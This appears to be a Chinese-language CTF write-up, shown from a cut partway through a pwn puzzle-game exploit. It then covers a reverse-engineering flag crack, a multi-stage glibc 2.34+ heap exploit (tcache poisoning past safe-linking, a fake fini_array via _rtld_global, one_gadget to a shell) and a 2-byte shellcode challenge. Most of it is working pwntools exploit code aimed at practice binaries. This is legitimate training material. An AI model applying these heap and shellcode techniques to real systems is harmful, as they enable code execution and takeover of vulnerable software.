input_str = '''
0x7ffc0836c080: 0x00007ffc0836c090      0x0000598b0000000a
0x7ffc0836c090: 0x010a08090204050b      0x000d070f0e060c03
0x7ffc0836c0a0: 0x00007ffc0836c1f8      0x15445e0a74b74c00
0x7ffc0836c0b0: 0x00007ffc0836c0e0      0x0000598b817dcf48
0x7ffc0836c0c0: 0xdcdcd8d8dcd8dcd8      0x0000769a5ce75400
'''
print()

def flat(eles):
    res = []
    for i in eles:
        if isinstance(i, list):
            res.extend(flat(i))
        else:
            res.append(i)
    return res

data = flat([([i.split(':')[1].strip().split('      ')[0].replace('0x', '')] + [i.split(':')[1].strip().split('      ')[1].replace('0x', '')]) for i in input_str.strip().split('\n')])

tiles = []

for addr in data:
    temp = []
    while len(addr) != 0:
        temp.append(addr[0:2])
        addr = addr[2:]
    tiles.extend(temp[::-1])

tiles_np = numpy.array(tiles).reshape(len(tiles) // 4, 4)
tiles = tiles_np.tolist()

# 一些提示符
tiles[7][2] = 'YY'
tiles[7][3] = 'XX'
tiles[10][3] = '||'
tiles[11][3] = '||'
tiles[14][0] = '-0'
tiles[14][1] = '-1'
tiles[14][2] = 'EE'
tiles[14][3] = 'FF'
tiles[15][0] = 'AA'
tiles[15][1] = 'BB'
tiles[15][2] = 'CC'
tiles[15][3] = 'DD'

moves = []

class Point:
    x: int
    y: int

p = Point()
p.x = 3
p.y = 7

def up():
    moves.append('up')
    tiles[p.y][p.x], tiles[p.y - 1][p.x] = tiles[p.y - 1][p.x], tiles[p.y][p.x]
    p.y -= 1

def down():
    moves.append('down')
    tiles[p.y][p.x], tiles[p.y + 1][p.x] = tiles[p.y + 1][p.x], tiles[p.y][p.x]
    p.y += 1

def left():
    moves.append('left')
    tiles[p.y][p.x], tiles[p.y][p.x - 1] = tiles[p.y][p.x - 1], tiles[p.y][p.x]
    p.x -= 1

def right():
    moves.append('right')
    tiles[p.y][p.x], tiles[p.y][p.x + 1] = tiles[p.y][p.x + 1], tiles[p.y][p.x]
    p.x += 1
   
moves = []

while True:
    print(numpy.array(tiles))
    move = input('> ')
    match move:
        case 'w':
            up()
        case 'a':
            left()
        case 's':
            down()
        case 'd':
            right()
        case 'e':
            break
        case _:
            print('Invalid')
            
for move in moves:
    print(move + '(1)')

​ 好不容易拼凑出地址(由于开了 PIE 保护,所以需要爆破 1/16 概率),发现由于栈对齐,system 函数调用出现 SIGSEGV(😇)。在栈上合理范围内实在找不到可以拼凑出 backdoor + 1 等地址的值。然后,然后,然后突然发现程序开头我一直无视的 name,其实可以输入一个地址(还是经验少了 😫)。

Exp:

from pwn import *
import time

context.terminal = ['konsole', '-e']

binary = 'game'
p = process(binary)
elf = ELF(binary)

backdoor = 0xCD8
ret_ori = 0xF48

SLEEP = 0.001

def up(times: int):
    for _ in range(times):
        p.send(b'w')
        time.sleep(SLEEP)

def down(times: int):
    for _ in range(times):
        p.send(b's')
        time.sleep(SLEEP)

def left(times: int):
    for _ in range(times):
        p.send(b'a')
        time.sleep(SLEEP)

def right(times: int):
    for _ in range(times):
        p.send(b'd')
        time.sleep(SLEEP)

while True:
    binary = 'game'
    p = process(binary)
    p.sendline(p64(0xDCDCD8D8DCD8DCD8))
    p.sendline(b'')
    p.sendline(b'')

    left(3)
    up(5)
    right(1)
    down(5)
    right(2)

    # 自动生成
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    left(1)
    left(1)
    left(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    up(1)
    left(1)
    down(1)
    right(1)
    up(1)
    up(1)
    left(1)
    left(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    up(1)
    left(1)
    down(1)
    down(1)
    left(1)
    up(1)
    right(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    left(1)
    up(1)
    up(1)
    right(1)
    down(1)
    down(1)
    left(1)
    up(1)
    up(1)
    right(1)
    down(1)
    left(1)
    up(1)
    right(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)

    for i in range(93):
        left(1)
        right(1)
    
    try:
        p.sendline(b'')
        p.sendline(b'')
        p.sendline(b'')
        p.interactive()
    except EOFError:
        continue

Reverse - Long long call

​ (Pwn 暂时做不出来,跑去隔壁逆向看看 🤓。)IDA 打开后发现反编译完全没意义了。程序中每个汇编语句都用一个调用、一个抵消调用栈的 add rsp, 0x8,一对无意义 pushf popf 混淆,用 gdb 调试发现存在反调试,通过查找文本 Hacker 定位到反调试触发点,用 Keypatch 将其填 nop0x14AF0x14B3)拿下反调试,然后就可以愉快调试了。逆向发现 0x4080 处存储了混淆后的 flag,程序逻辑是对输入字符串每两字符对其和分别原地求异或,并与同样加密后的 flag 比较。取出加密后 flag,编写 Python 脚本爆破得原始 flag。

def crack(A, B):
    for a in range(0,255):
        for b in range(0,255):
            if ((a^(a+b)) == A) and (b^(a+b) == B):
                print(f"{chr(a)}{chr(b)}", end="")

data = [[0xBB, 0xBF], [0xB9, 0xBE], [0xC3, 0xCC], [0xCE, 0xDC], [0x9E, 0x8F], [0x9D, 0x9B], [0xA7, 0x8C], [0xD7, 0x95], [0xB0, 0xAD], [0xBD, 0xB4], [0x88, 0xAF], [0x92, 0xD0], [0xCF, 0xA1], [0xA3, 0x92], [0xB7, 0xB4], [0xC9, 0x9E], [0x94, 0xA7], [0xAE, 0xF0], [0xA1, 0x99], [0xC0, 0xE3], [0xB4, 0xB4], [0xBF, 0xE3]]

for d in data:
    crack(d[0], d[1])

Pwn - PhoneBook

​ 收获最多的一集,综合复习/学习了各种堆利用方法。

​ (后附图)

0x00 Leak Heap Ptr

​ 分析程序,保护开满,增删改查堆题。发现 phone 字段存在三字节溢出,可以修改其后的 next 字段以达成任意分配堆地址,得到任意读任意写机会。通过构造两个假 chunk(offset:0x10、0x20,id:50、51),以其作为桥梁泄漏堆地址。定义 person 结构体助记:

00000000 person          struc ; (sizeof=0x28, mappedto_8)
00000000 id              dq ?
00000008 name            db 16 dup(?)            ; string(C)
00000018 phone           db 8 dup(?)             ; string(C)
00000020 next            dq ?                    ; offset
00000028 person          ends

Exp 0:

add(b'\n', b'\n')
add(b'456\n', b'\n')
edit(1, b'\n', b'A'*9) # 连通后方 next_ptr
show()
rec = p.recv()
pos = rec.index(b'A'*9)
chunk2_addr = u64(b'\0' + rec[pos+9: pos+14] + b'\0\0')
chunk1_addr = chunk2_addr - 0x30
chunk3_addr = chunk2_addr + 0x30
fake_chunk0_addr = chunk2_addr + 0x10
fake_chunk1_addr = chunk2_addr + 0x20
print('fake chunk0: ' + hex(fake_chunk0_addr))
print('fake chunk1: ' + hex(fake_chunk1_addr))
print('chunk2: ' + hex(chunk2_addr))

(chunk 地址必须 0x10 对齐,否则 free 时出错。)

0x01 Unsorted Bin Leak Libc

​ 再次以 chunk1 为引导,fake_chunk0chunk2 为桥梁在 fake_chunk1 处构造假 unsorted bin 大小(0x840)的 chunk,并加上 PREV_INUSE 标志(0x1),其 size 位于原 person 结构体的 phone 处,连续填充多个 phone 字段为 0x31 的 chunk(偷懒不想算精确位置),以绕过 unsorted bin prev chunk size 检查。最后 delete fake_chunk1进入 unsorted bin,其 bk 字段(原 fake_chunk1 name)已被修改为 libc 上 main_arena 地址,用 show 获取得 libc 基址。需要注意绕过 id 大小检查(与 next 冲突)和 add 填零(所以这块很绕 😀)。

Exp 1:

edit(1, b'\n', cyclic(8) + p64(chunk2_addr)[0:2]) # 暂时恢复
for i in range(50): # 冗余
    add(b'\n', p64(0x31))
    p.recv()
edit(3, cyclic(8) + p64(chunk3_addr), b'\n')
edit(2, p64(49) + p64(50)[0:7], p64(0x841) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(51)[0:7], cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
delete(51) # VULN
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
p.recv()
show()
rec = p.recv()
pos = rec.rfind(cyclic(8))
main_arena_addr = u64(rec[pos+30:pos+36] + b'\0\0')
print('main_arena: ' + hex(main_arena_addr))
main_arena_offset = 0x219CE0
free_hook_offset = 0x2204A8
libc_base_addr = main_arena_addr - main_arena_offset
print('libc: ' + hex(libc_base_addr))

(填入后半段 name 字段时有 [0:7] 是因为只 read 15 字节)

0x02 Leak _rtld_global._ns_loaded (link_map)

​ 到这里正常解法是利用上述任意写直接覆盖 malloc_hook 等,写入 one _gadget,卡了好久突然意识到 glibc 2.34 已移除各种 hook(😩),只好另辟蹊径。打 IO 没学过/太麻烦,现学了一个较简单的高版本打法(好像叫 House of Banana?)。

​ glibc 中链接了 ld.so 中的一个符号 _rtld_global,其保存不少用于动态链接的运行时信息。我们主要关注 _ns_loaded 字段(offset:0x00),这是一个结构体指针(链表),其指向的字段 l_addr(offset:0x00)保存了程序基址,通过分析 glibc exit(int) 函数源码发现,其执行中途会读取该字段并根据它寻找并执行 fini_array 中存储的函数(指针)。我们劫持 _ns_loaded,将其改为 堆上一可控地址 - fini_array 偏移量,再向该可控位置填入 one_gadget 即可。

​ 首先泄露地址。用类似 0x00 步的方法,泄露出 _rtld_global_ns_loaded 地址。(虽然网上许多文章都认为这两个地址以及 ld.so 即使开了 ASLR 也与 libc 有固定偏移,或本地与远程不同只需爆破两字节,但我经实验发现本地甚至每次执行都不同 🤔。)

Exp 2:

rt_ld_global = libc_base_addr + 0x21A878
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, cyclic(8) + p64(51)[0:7], cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(51, cyclic(8) + p64(rt_ld_global - 0x8)[0:7], b'\n')
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
show()
rec = p.recv()
pos = rec.find(b'@')
_rtld_global_addr = u64(rec[pos:pos+6] + b'\0\0')
print('_rtld_global addr: ' + hex(_rtld_global_addr))
link_map_addr = _rtld_global_addr + 0x12A0

0x03 Tcache Bin Poisoning Arbitrary Write

​ 先随意 delete 一个 chunk 再 delete chunk3 。此时 chunk3 已进入 tcache bin 且后进先出(LIFO)。借助之前泄漏的堆地址右移 12 位对目标地址按位异或(混淆)绕过 safe-linking,并如法炮制修改 chunk3 tcache bin next 字段(原 chunk3 id)为混淆后的 &_ns_loaded - 0x10。第一次 add 使 tcache bin 中最后一个 chunk 的 next 字段指向目标,再次 add 分配新 chunk 至目标并将其修改为可控堆地址。但是在此之前,由于从 tcache bin 取出最后一个 chunk 时会先检查 unsorted bin,需要先恢复 fake_chunk1(在 unsorted bin 中)的 size,否则出错。

Exp 3:

chunk5_addr = chunk3_addr + 0x60
chunk6_addr = chunk5_addr + 0x30
fini_array_offset = 0x3D78
target = link_map_addr
fake_rt_ld_addr = chunk6_addr
print('target: ' + hex(target - 0x10))
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(51)[0:7], b'\n')
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(51, p64(0x31) + p64(3)[0:7],cyclic(8) + p64(chunk3_addr)[0:2])
delete(4)
delete(3)
edit(51, p64(0x31) +
        p64(
            (target - 0x10) ^ (fake_chunk1_addr >> 12) # name (0x10)
        )[0:7],                                        # unsafe unlink
    cyclic(8) + p64(chunk5_addr)[0:2])
add(b'PWN!', b'PWN!')
add(cyclic(8) + p64(fake_rt_ld_addr + 0x8 - fini_array_offset)[0:7], p64(4)) # name (0x8)
edit(1, b'123', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(main_arena_addr)[0:7], p64(main_arena_addr))
edit(1, b'123', cyclic(8) + p64(chunk6_addr)[0:2])

(chunk 地址必须 0x10 对齐,否则从 tcache bin 取出 chunk 时出错,所以未选择偏移 0x08 刚好到达 name 字段。add 会破坏 _rt_global 结构不过好在不影响利用。)

0x04 Fake fini_array

​ 终于结束了。在对应位置写入 one_gadget,exit getshell。(🥳🎉)

Exp 4:

one_gadget = 0xebcf1
edit(6, p64(libc_base_addr + one_gadget), cyclic(8))
exitit()

p.interactive()

0xff Appendix

一张图:

                     +main--+                    
                     | ...  |                    
                     | size |                    
                     |  id1 |                    
                     |  na  |                    
                     |  me  |                    
                     | phone|                    
                     | next |                    
                     | size |                    
                     |  id2 | +fake0-+           
                     |  na  |-| size |           
            +fake1-+ |  me  |-| id50 |           
            | size |-| phone|-|  na  |           
unsort pos->| id51 |-| next |-|  me  |           
            |  na  |-| size |-| phone|           
            |  me  |-|  id3 |<| next |-tcache pos
            | phone|-|  na  | +------+           
            | next |-|  me  |                    
            +------+ | phone|                    
                     | next |                    
                     | size |                    
                     | ...  |                    
                     +------+                    

一些操作的封装:

def s():
    time.sleep(0.01)

def add(name: bytes, phone: bytes):
    p.sendline(b'1')
    s()
    p.send(name)
    s()
    p.send(phone)
    s()

def delete(index: int):
    p.sendline(b'2')
    s()
    p.sendline(str(index).encode())
    s()

def show():
    p.sendline(b'3')
    s()

def edit(index: int, name: bytes, phone: bytes):
    p.sendline(b'4')
    s()
    p.sendline(str(index).encode())
    s()
    p.send(name)
    s()
    p.send(phone)
    s()

def exitit():
    p.sendline(b'5')
    s()

(用 sendafter 更好,但是我总是遇到奇奇怪怪问题,懒得调了。)

参考资料

CTF Time - StrVec Writeup

CTF Wiki - Tcache attack

FreeBuf - GLIBC2.35有“HOOK”?带你打开高版本GLIBC漏洞利用的新世界

Pwn - 2 bytes

​ 分析程序发现用溢出绕过strcmp(...)检查后只有 2 字节(点题)shellcode 可用,另有 5 字节空间。枚举机器码发现 syscall 正好两字节(\x0f\x05),而且当前寄存器布局因为先前的mmap(...)调用和 mov eax, 0 ,很适合read系统调用,但是差一点,需要交换 rdxrsi 位置。折腾很久后发现可以先 jmp 0xfffffffffffffffb\xeb\xf9)至 passwd 开头处(-5),从而执行更多指令:xchg rdx, rsi\x48\x87\xf2)+ syscall。(加上 jmp 竟然正好 7 字节 😧)最后写入真正的 shellcode 即可。另外编写 Python 脚本绕过异或混淆。

Exp:

from pwn import *

context.terminal = ['konsole', '-e']
context(os='linux', bits=64, arch='amd64')

binary = './pwn'
p = process(binary)
elf = ELF(binary)

b'\x48\x87\xf2\x0f\x05\xeb\xf9'
def crack(sh: bytes):
    res: bytes = sh[:2]
    for i in range(5):
        for c in range(256):
            if sh[i + 2] == sh[i] ^ sh[i + 1] ^ c:
                res += c.to_bytes()
                break
    return res

def mangle(sh: bytes):
    for i in range(0, 5):
        sh = sh[:i + 2] + (sh[i] ^ sh[i + 1] ^ sh[i + 2]).to_bytes() + sh[i + 3:]
    return sh

def tryit(code: str):
    b = asm(code)
    b = b[0:2] + b'\0' + b[3:]
    print(disasm(b))

payload = b'H\x87=z\xf8\xe1\x17'
payload = payload + b'\0' + payload

p.send(payload)
p.send(asm(shellcraft.sh()))
p.interactive()